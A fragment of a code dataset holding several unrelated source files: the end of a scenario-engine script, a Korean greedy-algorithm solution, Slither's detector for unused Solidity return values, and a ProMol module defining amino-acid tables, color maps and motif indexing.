Scenario_Data(Scenario_file)\n\t\texcept Exception as e:\n\t\t\tprint(\"Scenario Data Error: \"+ str(e))\n\t\t\tcheck = False\n\t\tif Scenario.Scenario_valid != 0:\n\t\t\t\tcheck = False\n\t#If the file is bad, keep asking user until its right \n\twhile check == False:\n\t\tScenario_file = rlinput(\"Try again: \", files[0])\n\t\tif os.path.exists(Scenario_file) and os.access(Scenario_file, os.R_OK) and Scenario_file.endswith('.xlsx'):\n\t\t\tcheck = True\n\t\t\ttry:\n\t\t\t\tScenario = Scenario_Data(Scenario_file)\n\t\t\texcept Exception as e:\n\t\t\t\tprint(\"Scenario Data Error: \"+ str(e))\n\t\t\t\tcheck = False\n\t\t\tif Scenario.Scenario_valid != 0:\n\t\t\t\tcheck = False\n\n\tEngine = Scenario_Engine(Scenario)\n\tEngine.CLI()\n\n","repo_name":"sandialabs/ECS","sub_path":"Scenario_engine_cursesier.py","file_name":"Scenario_engine_cursesier.py","file_ext":"py","file_size_in_byte":35997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"8853200036","text":"# 회의실배정\n# 문제\n# 한 개의 회의실이 있는데 이를 사용하고자 하는 N개의 회의들에 대하여 회의실 사용표를 만들려고 한다. 각 회의 I에 대해 시작시간과 끝나는 시간이 주어져 있고, 각 회의가 겹치지 않게 하면서 회의실을 사용할 수 있는 최대수의 회의를 찾아라. 단, 회의는 한번 시작하면 중간에 중단될 수 없으며 한 회의가 끝나는 것과 동시에 다음 회의가 시작될 수 있다. 회의의 시작시간과 끝나는 시간이 같을 수도 있다. 이 경우에는 시작하자마자 끝나는 것으로 생각하면 된다.\n\n# 입력\n# 첫째 줄에 회의의 수 N(1 ≤ N ≤ 100,000)이 주어진다. 둘째 줄부터 N+1 줄까지 각 회의의 정보가 주어지는데 이것은 공백을 사이에 두고 회의의 시작시간과 끝나는 시간이 주어진다. 시작 시간과 끝나는 시간은 231-1보다 작거나 같은 자연수 또는 0이다.\n\n# 출력\n# 첫째 줄에 최대 사용할 수 있는 회의 수를 출력하여라.\n\nN = int(input())\n\narr = []\nfor i in range(N):\n temp = list(map(int, input().split()))\n arr.append(temp)\n\narr.sort(key=lambda x: x[0])\narr.sort(key=lambda x: x[1])\n\ncan = 1\nfirst = arr[0][1]\nfor i in range(1, N):\n if first <= arr[i][0]:\n can += 1\n first = arr[i][1]\n\nprint(can)\n\n# lambda가 굉장히 강력하다. 그리고 이차원 배열은 더 중요한놈을 나중에 정렬해서 모든경우의수를 잘 따져볼것.\n","repo_name":"taehwan920/Algorithm","sub_path":"baekjoon/1931_baekjoon.py","file_name":"1931_baekjoon.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72904849103","text":"\"\"\"\nModule detecting unused return values from external calls\n\"\"\"\nfrom typing import List\n\nfrom slither.core.cfg.node import Node, NodeType\nfrom slither.core.declarations import Function\nfrom slither.core.declarations.function_contract import FunctionContract\nfrom slither.core.variables.state_variable import StateVariable\nfrom slither.detectors.abstract_detector import (\n AbstractDetector,\n DetectorClassification,\n DETECTOR_INFO,\n)\nfrom slither.slithir.operations import HighLevelCall, Assignment, Unpack, Operation\nfrom slither.slithir.variables import TupleVariable\nfrom slither.utils.output import Output\n\n\nclass UnusedReturnValues(AbstractDetector):\n \"\"\"\n If the return value of a function is never used, it's likely to be bug\n \"\"\"\n\n ARGUMENT = \"unused-return\"\n HELP = \"Unused return values\"\n IMPACT = DetectorClassification.MEDIUM\n CONFIDENCE = DetectorClassification.MEDIUM\n\n WIKI = \"https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return\"\n\n WIKI_TITLE = \"Unused return\"\n WIKI_DESCRIPTION = (\n \"The return value of an external call is not stored in a local or state variable.\"\n )\n\n # region wiki_exploit_scenario\n WIKI_EXPLOIT_SCENARIO = \"\"\"\n```solidity\ncontract MyConc{\n using SafeMath for uint; \n function my_func(uint a, uint b) public{\n a.add(b);\n }\n}\n```\n`MyConc` calls `add` of `SafeMath`, but does not store the result in `a`. As a result, the computation has no effect.\"\"\"\n # endregion wiki_exploit_scenario\n\n WIKI_RECOMMENDATION = \"Ensure that all the return values of the function calls are used.\"\n\n def _is_instance(self, ir: Operation) -> bool: # pylint: disable=no-self-use\n return (\n isinstance(ir, HighLevelCall)\n and (\n (\n isinstance(ir.function, Function)\n and ir.function.solidity_signature\n not in [\"transfer(address,uint256)\", \"transferFrom(address,address,uint256)\"]\n )\n or not isinstance(ir.function, Function)\n )\n or ir.node.type == NodeType.TRY\n and isinstance(ir, (Assignment, Unpack))\n )\n\n def detect_unused_return_values(\n self, f: FunctionContract\n ) -> List[Node]: # pylint: disable=no-self-use\n \"\"\"\n Return the nodes where the return value of a call is unused\n Args:\n f (Function)\n Returns:\n list(Node)\n \"\"\"\n values_returned = []\n nodes_origin = {}\n # pylint: disable=too-many-nested-blocks\n for n in f.nodes:\n for ir in n.irs:\n if self._is_instance(ir):\n # if a return value is stored in a state variable, it's ok\n if ir.lvalue and not isinstance(ir.lvalue, StateVariable):\n values_returned.append((ir.lvalue, None))\n nodes_origin[ir.lvalue] = ir\n if isinstance(ir.lvalue, TupleVariable):\n # we iterate the number of elements the tuple has\n # and add a (variable, index) in values_returned for each of them\n for index in range(len(ir.lvalue.type)):\n values_returned.append((ir.lvalue, index))\n for read in ir.read:\n remove = (read, ir.index) if isinstance(ir, Unpack) else (read, None)\n if remove in values_returned:\n # this is needed to remove the tuple variable when the first time one of its element is used\n if remove[1] is not None and (remove[0], None) in values_returned:\n values_returned.remove((remove[0], None))\n values_returned.remove(remove)\n return [nodes_origin[value].node for (value, _) in values_returned]\n\n def _detect(self) -> List[Output]:\n \"\"\"Detect high level calls which return a value that are never used\"\"\"\n results = []\n for c in self.compilation_unit.contracts_derived:\n for f in c.functions_and_modifiers:\n unused_return = self.detect_unused_return_values(f)\n if unused_return:\n\n for node in unused_return:\n info: DETECTOR_INFO = [f, \" ignores return value by \", node, \"\\n\"]\n\n res = self.generate_result(info)\n\n results.append(res)\n\n return results\n","repo_name":"crytic/slither","sub_path":"slither/detectors/operations/unused_return_values.py","file_name":"unused_return_values.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","stars":4676,"dataset":"github-code","pt":"47"} +{"seq_id":"6247033880","text":"'''Sets up global variables and functions'''\n#from pymol import cmd\nimport Tkinter as tk\nimport urllib2\nimport os\nimport time\nimport random\nimport platform\nfrom ProMol.version import VERSION, ALG_VERSION, USE_JESS\n# The algorithm version number constant was still at 1.0, so\n# I believe it would be more meaningful to report the version of ProMOL\n# in the CSV file, rather than a separately tracked and difficult-to-\n# maintain algorithm version. If anything else were to be included,\n# I would suggest a motif library version number. -Kip\n\nPLATFORM = platform.system()\nPROMOL_DIR_PATH = os.path.dirname(__file__)\nMASTERFILE_URL = 'ftp://ftp.wwpdb.org/pub/pdb/derived_data/pdb_entry_type.txt' # For random PDB selection\nMOTIFS = {} # Empty dictionary to replace shelve-based database\n# searchSet was unnecessary and has been removed\n# hidmotif used to be a list box containing the query PDB associated with a result\n# Now I am using a list of tuples containing the PDB entry and the result\n# and calling it matchpairs: format is (query, result) for results and (query, query)\n# for headers\nmatchpairs = []\n\nLAST_USED_DIR = os.path.expanduser('~/') # needed to load locally stored files\nroot = tk.Tk() # sets up root for IntVar()\nusing_db = False\nfull_run = tk.IntVar()\n\n# Determine the location of the user data directory\n# We create the following folder structure underneath\n# the BASIL user data directory (which is also created if it does\n# not exist):\n# .../ProMol/CSV (for automatically generated CSV files, not usually\n# exported ones)\n# .../ProMol/PDBDownloads (we pass this to calls to fetch() so it caches PDB files\n# here and not in root of the user's home directory)\n# .../ProMol/UserMotifs (motifs that are saved from the Motif Maker are placed here,\n# not always so with exported ones)\ntry:\n HOME = os.environ['HOME']\nexcept KeyError:\n HOME = os.environ['USERPROFILE']\nif PLATFORM == 'Windows':\n OFFSITE = os.path.join(HOME, 'Documents', 'BASIL', 'ProMol')\nelif PLATFORM == 'Darwin':\n OFFSITE = os.path.join(HOME, 'Library', 'Application Support', 'BASIL',\n 'ProMol')\nelse:\n OFFSITE = os.path.join(HOME, '.basil', 'ProMol')\nPDBFOLDER = 'PDBDownloads'\nCSVFOLDER = 'CSV'\nRESULTFOLDER = 'Results'\nDIRS = ('UserMotifs', PDBFOLDER, CSVFOLDER,RESULTFOLDER)#changed folder name to UserMotifs for clarity\nif not os.path.isdir(OFFSITE):\n os.makedirs(OFFSITE)\nfor DIR in DIRS:\n DIR = os.path.join(OFFSITE, DIR)\n if not os.path.isdir(DIR):\n os.mkdir(DIR)\nFETCH_PATH = os.path.join(OFFSITE, PDBFOLDER)\nCSV_PATH = os.path.join(OFFSITE, CSVFOLDER)\nRESULTFOLDER = os.path.join(OFFSITE, RESULTFOLDER)\n\n#has to import this after FETCH_PATH is initializes as promolobjects uses that\nfrom ProMol.promolobjects import Protein\n\n# This acts as a place to stash the kitchen sink as fields added later\nclass PROMOLGUI:\n pass\n \nGUI = PROMOLGUI()\nSELE = 'All'\n\n# Pick up the PROMOL_JESS environment variable\n\nGUI.jess={}\nif 'PROMOL_JESS' in os.environ:\n USE_JESS=True\nelse:\n USE_JESS=False\n\n# I think this keeps track of the colors in the custom color chooser in EZ-Viz\nNEWCOLOR = 0\ndef incnewcolor():\n global NEWCOLOR\n tmp = NEWCOLOR\n NEWCOLOR += 1\n return tmp\n\nAminoMenuList = ('', 'ala', 'arg', 'asn', 'asp', 'cys', 'gln', 'glu', 'gly',\n 'his', 'ile', 'leu', 'lys', 'met', 'phe', 'pro', 'ser', 'thr', 'trp', 'tyr',\n 'val')\n\n# The amino hash table that is created by this code acts as a way to put any\n# representation of an amino acid in and get any representation out.\n# The resulting dictionary contains the following keys:\n# - Lowercase full amino acid names\n# - Three letter abbreviations\n# - One letter abbreviations\n# Accessing AminoHashTable[x] where x is any of these will return another\n# dictionary, which contains the following keys:\n# - 'l' (for 'long'): maps to the amino acid's full name\n# - The number 3: maps to the amino acid's three letter abbreviation\n# - The number 1: maps to the amino acid's one letter abbreviation\n# - The number 0: maps to the amino acid's entry in AminoNumberList\n# (more documentation on that coming soon)\n# - If the amino acid can be considered functionally similar to another,\n# the other amino acid's three letter abbreviation can be accessed via\n# the key 's'.\n\n#Amino Acid Lists\nAminoLongList = ('alanine', 'arginine', 'asparagine', 'aspartate', 'cysteine',\n 'glutamine', 'glutamate', 'glycine', 'histidine', 'isoleucine', 'leucine',\n 'lysine', 'methionine', 'phenylalanine', 'proline', 'serine', 'threonine',\n 'tryptophan', 'tyrosine', 'valine', 'calcium', 'molybdenum',\n 'molybdenum4', 'magnesium', 'zinc', 'manganese', 'sodium',\n 'hemes','b12','cub','fes','hea','mos','cua','fco','sf4','f3s','fe2','cfm',\n 'clf','hec','cob','c2o','pcd','4mo', 'f43', '3co', 'cobalt', 'nickle', 'iron', 'copper','copper1','copper2')\nAminoList = ('ala', 'arg', 'asn', 'asp', 'cys', 'gln', 'glu', 'gly', 'his',\n 'ile', 'leu', 'lys', 'met', 'phe', 'pro', 'ser', 'thr', 'trp', 'tyr', 'val', \n 'ca', 'mo', '4mo', 'mg', 'zn', 'mn', 'na', 'hem','b12','cub','fes','mos',\n 'hea','cua','fco','sf4','f3s','fe2','cfm','clf','hec','cob','c2o','pcd','4mo','f43','3co',\n 'co', 'ni', 'fe', 'cu','cu1','cu2')\nAminoShortList = ('a', 'r', 'n', 'd', 'c', 'q', 'e', 'g', 'h', 'i', 'l', 'k',\n 'm', 'f', 'p', 's', 't', 'w', 'y', 'v', 'ca', 'mo', '4mo', \n 'mg', 'zn', 'mn', 'na', 'hem','b12','cub','fes','mos','hea','cua','fco',\n 'sf4','f3s','fe2','cfm','clf','hec','cob','c2o','pcd','4mo','f43','3co', 'co', 'ni', 'fe', 'cu','cu1','cu2')\nAminoSubsList = {\n 3:'glu',\n 6:'asp',\n 5:'asn',\n 2:'gln',\n 15:'thr',\n 16:'ser'\n }\nAminoNumberList = (5, 11, 8, 8, 6, 9, 9, 4, 10, 8, 8, 9, 8, 11, 7, 6, 7, 14, 12,\n 7, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, \n 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51)\n\nAminoHashTable = {}\nfor i in range(0, 53):\n AminoHashTable[AminoLongList[i]] = {}\n AminoHashTable[AminoList[i]] = {}\n AminoHashTable[AminoShortList[i]] = {}\n\n AminoHashTable[AminoLongList[i]]['l'] = AminoLongList[i]\n AminoHashTable[AminoList[i]]['l'] = AminoLongList[i]\n AminoHashTable[AminoShortList[i]]['l'] = AminoLongList[i]\n\n AminoHashTable[AminoLongList[i]][3] = AminoList[i]\n AminoHashTable[AminoList[i]][3] = AminoList[i]\n AminoHashTable[AminoShortList[i]][3] = AminoList[i]\n\n AminoHashTable[AminoLongList[i]][1] = AminoShortList[i]\n AminoHashTable[AminoList[i]][1] = AminoShortList[i]\n AminoHashTable[AminoShortList[i]][1] = AminoShortList[i]\n \n AminoHashTable[AminoLongList[i]][0] = AminoNumberList[i]\n AminoHashTable[AminoList[i]][0] = AminoNumberList[i]\n AminoHashTable[AminoShortList[i]][0] = AminoNumberList[i]\n \n if i in AminoSubsList:\n AminoHashTable[AminoLongList[i]]['s'] = AminoSubsList[i]\n AminoHashTable[AminoList[i]]['s'] = AminoSubsList[i]\n AminoHashTable[AminoShortList[i]]['s'] = AminoSubsList[i]\ndel i\n\n# DNASTR and RNASTR are used in populate()\n#/*=====================*//*==========================================*/\n#/* DNA Nucleotides *//* DNA Nucleotides PDB Revision, Jul 2007 */\n#/*=====================*//*==========================================*/\nDNA = (\"A\", \"C\", \"G\", \"T\", \"DA\", \"DC\", \"DG\", \"DT\", \"DI\")\nDNASTR = '+'.join(DNA)\n#/*===================*/\n#/* RNA Nucleotides */\n#/*===================*/\nRNA = (\"U\", \"I\", \"1MA\",\n \"5MC\", \"OMC\", \"1MG\", \"2MG\",\n \"M2G\", \"7MG\", \"OMG\", \"YG\",\n \"H2U\", \"5MU\", \"PSU\")\nRNASTR = '+'.join(RNA)\n#A - Z\nAlphaSequence = [ \"%c\" % (x) for x in range(ord('A'), ord('Z')+1)]\ndel x\n#a - z\nalphasequence = [ \"%c\" % (x) for x in range(ord('a'), ord('z')+1)]\ndel x\n# The following dictionaries map atomic symbols to RGB color values\n#the original CPK plastic models developed by Corey, Pauling and Kultun\nCPKDict = {\n \"H\":\"[1.000, 1.000, 1.000]\", \"He\":\"[1.000, 0.753, .796]\",\n \"Li\":\"[.698, .133, .133]\", \"B\":\"[0, 1.000, 0]\",\n \"Cl\":\"[0, 1.000, 0]\", \"C\":\"[.784, .784, .784]\",\n \"N\":\"[.561, .561, 1.000]\", \"O\":\"[1.000, 0, 0]\",\n \"F\":\"[.855, .647, .125]\", \"Si\":\"[.855, .647, .125]\",\n \"Au\":\"[.855, .647, .125]\", \"Na\":\"[0, 0, 1.000]\",\n \"Mg\":\"[.133, 139, .133]\", \"Al\":\"[.502, .502, .565]\",\n \"Ca\":\"[.502, .502, .565]\", \"Ti\":\"[.502, .502, .565]\",\n \"Cr\":\"[.502, .502, .565]\", \"Mn\":\"[.502, .502, .565]\",\n \"Ag\":\"[.502, .502, .565]\", \"P\":\"[1.000, .647, 0]\",\n \"Fe\":\"[1.000, .647, 0]\", \"Ba\":\"[1.000, .647, 0]\",\n \"S\":\"[1.000, 1.000, 0]\", \"Ni\":\"[.647, .165, .165]\",\n \"Cu\":\"[.647, .165, .165]\", \"Zn\":\"[.647, .165, .165]\",\n \"Br\":\"[.647, .165, .165]\", \"I\":\"[.627, .125, .941]\",\n \"UNK\":\"[1.000, .078, .576]\"}\n#CPKNew Based off the original CPK plastic models\nCPKNewDict = {\n \"H\":\"[1.000, 1.000, 1.000]\", \"He\":\"[1.000, 0.753, .796]\",\n \"Li\":\"[.698, .129, .129]\", \"B\":\"[0, 1.000, 0]\",\n \"Cl\":\"[0, 1.000, 0]\", \"C\":\"[.827, .827, .827]\",\n \"N\":\"[.529, .808, .922]\", \"O\":\"[1.000, 0, 0]\",\n \"F\":\"[.855, .647, .125]\", \"Si\":\"[.855, .647, .125]\",\n \"Au\":\"[.855, .647, .125]\", \"Na\":\"[0, 0, 1.000]\",\n \"Mg\":\"[.133, 139, .133]\", \"Al\":\"[.412, .412, .412]\",\n \"Ca\":\"[.412, .412, .412]\", \"Ti\":\"[.412, .412, .412]\",\n \"Cr\":\"[.412, .412, .412]\", \"Mn\":\"[.412, .412, .412]\",\n \"Ag\":\"[.412, .412, .412]\", \"P\":\"[1.000, .667, 0]\",\n \"Fe\":\"[1.000, .667, 0]\", \"Ba\":\"[1.000, .667, 0]\",\n \"S\":\"[1.000, 1.000, 0]\", \"Ni\":\"[.502, .157, .157]\",\n \"Cu\":\"[.502, .157, .157]\", \"Zn\":\"[.502, .157, .157]\",\n \"Br\":\"[.502, .157, .157]\", \"I\":\"[.627, .125, .941]\",\n \"UNK\":\"[1.000, .086, .569]\"}\n\n# Deleted persistent database class\n# MOTIFSFOLDER is the location of the built-in motifs\n# USRMOTIFSFOLDER is the location of user-generated motifs\n# MOTIFSAFOLDER is the location of MRB's 37K motifs\n# OLDMOTIFDIR is the location of the old style motifs after they have been created\n# ALLMOTIFFOLDERS is the list of all the motif folders, add to here any more folders created\n\nMOTIFSFOLDER = os.path.join(PROMOL_DIR_PATH, 'Motifs')\nUSRMOTIFSFOLDER = os.path.join(OFFSITE, 'UserMotifs')\nMOTIFSAFOLDER = os.path.join(PROMOL_DIR_PATH, 'Motifs_A')\nOLDMOTIFDIR = os.path.join(PROMOL_DIR_PATH,'Old_Motifs')\nALLMOTIFFOLDERS = []\nfor fldr in [MOTIFSFOLDER,USRMOTIFSFOLDER,MOTIFSAFOLDER]:\n if os.path.exists(fldr):\n ALLMOTIFFOLDERS.append(fldr)\n\n# This function reads motif files from the specified folder(s),\n# performs some rudimentary validation (mostly on their headers),\n# and adds information about them (including\n# header fields and file system location) to the MOTIFS dictionary.\n\ndef loadMotifs(folders):\n # This contains the error list. It used to be inside the motif dictionary.\n global motifErrors\n motifErrors = []\n for motdir in folders:\n # Get the file list in each specified folder\n motfiles = os.listdir(motdir)\n for motfile in motfiles:\n # So it doesn't report an error based on the indexing files\n if motfile=='ecindexing.txt' or motfile=='pfamindexing.txt':\n continue\n # If a file has an unexpected extension, reject it\n # Currently, the motifs are PDB files (but that may\n # change)\n if not motfile.endswith('.pdb'):\n #motifErrors.append('Error: Encountered unexpected filename extension with motif {0} in {1}; skipping file.'.format(motfile, motdir))\n motifErrors.append('Error: Encountered unexpected filename extension with motif %s in %s; skipping file.'%(motfile, motdir))\n continue\n # Strip the '.pdb' extension off the filename to get the motif's name\n func = motfile[0:-4]\n # The following lines check to see if an entry for this motif already exists in the dictionary.\n # If not, it creates one. This is probably a remnant of the code designed to work with\n # the persistent motif database, which might already contain things from previous\n # program runs before we load any motifs. That is gone now, and motif information\n # is loaded at every startup.\n # This should probably be changed to REJECT duplicate motifs with the same name\n # rather than overwriting their attributes in the dictionary one by one as this appears\n # to allow doing. This could occur if two folders were passed into loadMotifs()\n # (either at the same time or in separate calls) which each contained a file with\n # the same name.\n if func not in MOTIFS:\n MOTIFS[func] = None\n MOTIFS[func] = Protein()\n MOTIFS[func].readMotifFile(os.path.join(motdir, motfile))\n \n # I removed the following even though it said not to:\n # MOTIFS.switchwriteback() # DO NOT UNREMOVE!!\n # Switchwriteback was written incorrectly anyway (with == instead of = (x2))\n # Check the API for shelve.open and see what the writeback argument\n # does. I think it is not what the author of switchwriteback() thought.\n # Refreshing at runtime will be better than using shelve for now. -Kip\n # MOTIFS is no longer a shelf-based database class but a simple dictionary.\n\n# This will run immediately when promolglobals gets imported.\nloadMotifs(ALLMOTIFFOLDERS)\n\n# Check if the indexing files are the most recently modified files in the\n# respective motif folders, and if not, make new indexing files\ndef makeIndexFiles(folders):\n for folder in folders:\n if not os.path.exists(os.path.join(folder,'ecindexing.txt')) \\\n or not os.path.exists(os.path.join(folder,'pfamindexing.txt')) \\\n or os.path.getmtime(folder)>os.path.getmtime(os.path.join(folder,'ecindexing.txt')) \\\n or os.path.getmtime(folder)>os.path.getmtime(os.path.join(folder,'pfamindexing.txt')):\n #create file dictionary\n ecdict = dict()\n pfamdict = dict()\n\n for fl in os.listdir(folder):\n fl = fl.rsplit('.',1)[0]\n if len(fl.split('_'))>1:\n ec = fl.split('_')[0]\n if ec not in ecdict.keys():\n ecdict[ec] = set()\n ecdict[ec].add(fl)\n pfam = fl.split('_')[1]\n if pfam not in pfamdict.keys():\n pfamdict[pfam] = set()\n pfamdict[pfam].add(fl)\n\n #make index files\n ecindfl = open(os.path.join(folder,'ecindexing.txt'),'w+')\n for ec in ecdict:\n ecnums = ec.split('.')\n for num in ecnums:\n ecindfl.write(num + '\\t')\n ecindfl.write(','.join(ecdict[ec]) + '\\n')\n ecindfl.close()\n\n pfamindfl = open(os.path.join(folder,'pfamindexing.txt'),'w+')\n for pfam in pfamdict:\n pfamindfl.write(pfam + '\\t' + ','.join(pfamdict[pfam]) + '\\n')\n pfamindfl.close()\n\n# Makes ec and pfam dictionaries based on the index file in motif folders\ndef makeIndexDicts(folders):\n global ECDICT\n ECDICT = dict()\n global PFAMDICT\n PFAMDICT = dict()\n for folder in folders:\n ecindex = open(os.path.join(folder,'ecindexing.txt'),'r')\n pfamindex = open(os.path.join(folder,'pfamindexing.txt'),'r')\n for ln in ecindex.readlines():\n spltln = ln.strip().split('\\t')\n if spltln[0]=='N/A':\n ECDICT[spltln[0]] = set(spltln[1].split(','))\n continue\n if spltln[0] not in ECDICT.keys():\n ECDICT[spltln[0]] = dict()\n if spltln[1] not in ECDICT[spltln[0]].keys():\n ECDICT[spltln[0]][spltln[1]] = dict()\n if spltln[2] not in ECDICT[spltln[0]][spltln[1]].keys():\n ECDICT[spltln[0]][spltln[1]][spltln[2]] = dict()\n if spltln[3] not in ECDICT[spltln[0]][spltln[1]][spltln[2]].keys():\n ECDICT[spltln[0]][spltln[1]][spltln[2]][spltln[3]] = set(spltln[4].split(','))\n #ECDICT[spltln[0]][spltln[1]][spltln[2]][spltln[3]].add(spltln[4].split(','))\n for ln in pfamindex.readlines():\n spltln = ln.strip().split('\\t')\n PFAMDICT[spltln[0]] = set(spltln[1].split(','))\n\nmakeIndexFiles(ALLMOTIFFOLDERS)\nmakeIndexDicts(ALLMOTIFFOLDERS)\n\n# This clears out loaded motif information and reloads built-in and user motifs.\n# This function is not called from within ProMOL currently, but can be called\n# by the user by typing \"reset_motif_database\" at the PyMOL command line.\ndef reset_motif_database():\n global MOTIFS\n MOTIFS.clear() # This should still work because dictionaries have such a method\n del MOTIFS\n MOTIFS = {}\n loadMotifs(ALLMOTIFFOLDERS)\n#Not necessary with no reliance on pymol\n#cmd.extend('reset_motif_database', reset_motif_database)\n\n# This is a convoluted way of making a pathname. It is only called from the\n# motif maker (albeit 4 times) and should be replaced with simple concatenation\n# for adding file extensions and calls to os.path.join()\ndef pathmaker(*args, **options):\n newargs = [PROMOL_DIR_PATH]\n if 'root' in options:\n newargs = [options['root']]\n for x in args:\n if type(x).__name__ == 'tuple':\n x = ''.join(x)\n newargs.append(x)\n return os.sep.join(newargs)\n\n# This is called with no arguments from update() and is also executed when\n# the user selects from the Reset menu on the View Options tab (it is passed\n# in as the constructor to that option menu). It should be noted that calls\n# to update() will not currently reset any of the things that can be reset\n# from within that option menu. If this is a mistake, then to fix it,\n# each branch of the if would have to be changed from 'if tag == X' to\n# something like 'if (tag == X) or (len(tag) == 0)'.\n# This function can also be called by the user at the PyMOL command line.\n# This is unnecessary when not using PyMOL\n##def defaults(tag = ''):\n## if tag == 'cartoon':\n## cmd.set('cartoon_rect_length', '1.4', 'all')\n## cmd.set('cartoon_oval_length', '1.4', 'all')\n## cmd.set('cartoon_rect_width', '0.3', 'all')\n## cmd.set('cartoon_oval_width', '0.3', 'all')\n## cmd.set('cartoon_tube_radius', '0.5', 'all')\n## cmd.set('cartoon_transparency', '0.0', 'all')\n## cmd.cartoon('automatic', glb.SELE)\n## GUI.view['toonWidth'].set('1.4')\n## GUI.view['toonThickness'].set('0.3')\n## GUI.view['cartoonTransparency'].set('0.0')\n## GUI.view['toonTubeRadius'].set('0.5')\n## GUI.view['ribbonTypes'].invoke(0)\n## elif tag == 'spheres':\n## cmd.set('sphere_scale', '0.7', 'all')\n## cmd.set('sphere_transparency', '0.0', 'all')\n## GUI.view['sphereScale'].set('0.7')\n## GUI.view['sphereTransparency'].set('0.0')\n## elif tag == 'sticks':\n## cmd.set('stick_radius', '0.2', 'all')\n## cmd.set('stick_transparency', '0.0', 'all')\n## GUI.view['stickRadius'].set('0.2')\n## GUI.view['stickTransparency'].set('0.0')\n## elif tag == 'surface':\n## cmd.set('transparency', '0.0', 'all')\n## GUI.view['surfaceTransparency'].set('0.0')\n## elif tag == 'ambient':\n## cmd.set('ambient', '0.25', 'all')\n## GUI.view['ambientLight'].set('0.25')\n## cmd.delete('surface')\n## cmd.delete('mesh1')\n## cmd.delete('cartoon')\n## cmd.delete('helix')\n## cmd.delete('sheets')\n## cmd.delete('sticks')\n## cmd.delete('rov_1')\n## cmd.delete('rov_m1')\n## cmd.delete('map1')\n## cmd.delete('sphere1')\n## cmd.delete('rov_pc')\n## cmd.delete('rov_s1')\n## cmd.set(\"roving_detail\", 0)\n## cmd.set(\"roving_origin\", 0)\n## cmd.set(\"roving_sticks\", 0)\n## cmd.set('roving_spheres', 0)\n## cmd.set(\"roving_polar_contacts\", 0)\n## cmd.set('roving_lines', 0)\n## cmd.set('roving_isosurface', 0)\n## cmd.set('transparency', '0.0', 'all')\n## cmd.set('cartoon_transparency', '0.0', 'all')\n## cmd.set('sphere_transparency', '0.0', 'all')\n## cmd.set('stick_transparency', '0.0', 'all')\n## cmd.set('sphere_scale', '0.7', 'all')\n## cmd.set('stick_radius', '0.2', 'all')\n## cmd.cartoon('automatic', 'all')\n### Make this available from the PyMOL command line\n##cmd.extend('defaults', defaults)\n\n# This does not empty the motif information dictionary like reset_motif_database(),\n# but instead deletes any named PyMOL selections named after any of the currently\n# known motifs in the database.\ndef deletemotif():\n for motif in MOTIFS:\n cmd.delete('%s'%(motif))\n#cmd.extend('deletemotif', deletemotif)\n\n#not necessary without pymol\n##def show_as(show, selection):\n## '''`as` is a reserved word as of python 2.6\n## pymol used cmd.as before this and\n## had to change to cmd.show_as'''\n## try:\n## cmd.show_as(show, selection)\n## except AttributeError:\n## getattr(cmd, 'as')(show, selection)\n\n# This function can color selections and everything else, too, using either\n# colors defined in PyMOL or CPK model coloring, and show desired representations\n# of both the selection and the entire structure while leaving everything else\n# hidden. The selection argument specifies what selection to color and show\n# when dealing with the selection; show_selection specifies what representations\n# of that selection to show; color_selection specifies what color to use for the\n# selection, or CPK coloring (the default); show_all specifies what representations\n# of everything to show; color_all specifies what color to color everything (or\n# CPK); cpknew is a boolean that specifies whether to use the old or new CPK color\n# dictionary. In most cases (whenever show_all is not None), all objects will\n# be hidden so only the specified representations of the selection and the\n# structure as a whole will be shown. None can be passed in for either\n# show_selection or show_all, but if it is passed in for show_all, all currently\n# visible objects will remain visible in their currently displayed representations\n# in addition to showing any new representatons of the selection. This may or may\n# not be what was intended. In any case, to work around this and hide everything\n# first anyway without then showing at least one representation of all objects,\n# it looks like the caller may be able to pass in the empty tuple for show_all\n# instead of None. When specifying CPK coloring, the argument to color_selection\n# or color_all must be either not specified explicitly (the default is CPK) or\n# be the string 'cpk' in lower case.\n\n##def procolor(selection=None, show_selection='sticks', color_selection='cpk',\n## show_all=('sticks', 'spheres'), color_all='cpk', cpknew=False):\n## # This nested function takes two arguments:\n## # cpknew is a boolean specifying whether to use the new CPK\n## # dictionary (CPKNewDict) rather than the original (CPKDict);\n## # selection is the PyMOL selection to color.\n## '''Color in CPK or CPKnew\n## Needs the CPK DICTs defined above.'''\n## def cpk(cpknew, selection):\n## # Get the existing color indices from PyMOL\n## colorIndex = {}\n## for i in cmd.get_color_indices():\n## k, v = i\n## colorIndex[k] = v\n## # Select the right CPK dictionary\n## if cpknew:\n## cpk = CPKNewDict\n## suffix = 'cpknew'\n## else:\n## cpk = CPKDict\n## suffix = 'cpk'\n## # Iterate through the colors in the selected CPK dictionary\n## for k in cpk:\n## # Create a hopefully unique name for each color by concatenating\n## # its name in the dictionary with a suffix specifying which dictionary\n## # it came from\n## color = '%s%s' % (k, suffix)\n## # If PyMOL doesn't know about any of them, tell it\n## if color not in colorIndex:\n## cmd.set_color(color, cpk[k])\n## unk = 'not e. '\n## for k in cpk:\n## if k != 'UNK':\n## # Assuming ampersands mean \"and\" to PyMOL's selection algebra,\n## # this line tells PyMOL to use each color in the dictionary,\n## # again identified by its concatenated name (the first argument),\n## # to color all atoms in the selection passed to cpk() whose\n## # elemental symbols match the color's key in the dictionary\n## # (the abbreviation 'e.' in PyMOL's selection algebra can mean\n## # one of two things; in this case, it stands for \"element symbol\")\n## cmd.color('%s%s' % (k, suffix), 'e. %s & (%s)'%(k, selection))\n## # This builds a string of the format 'not e. A+B+C+D+...', where\n## # A, B, C, and D are element symbols. Presumably, the intent is\n## # to build a selection containing all atoms that don't have a\n## # color defined for them in the dictionary. I don't have any\n## # reason to believe it doesn't work, but I don't know for sure.\n## unk = '%s%s+' % (unk, k)\n## # This strips the trailing plus off of the resulting string and colors all\n## # atoms that both match it and are in the selection passed into cpk()\n## # with the unknown color 'UNK' in the dictonary.\n## cmd.color('UNK%s'%(suffix), '(%s) & (%s)' % (unk[:-1], selection))\n## # This second nested function 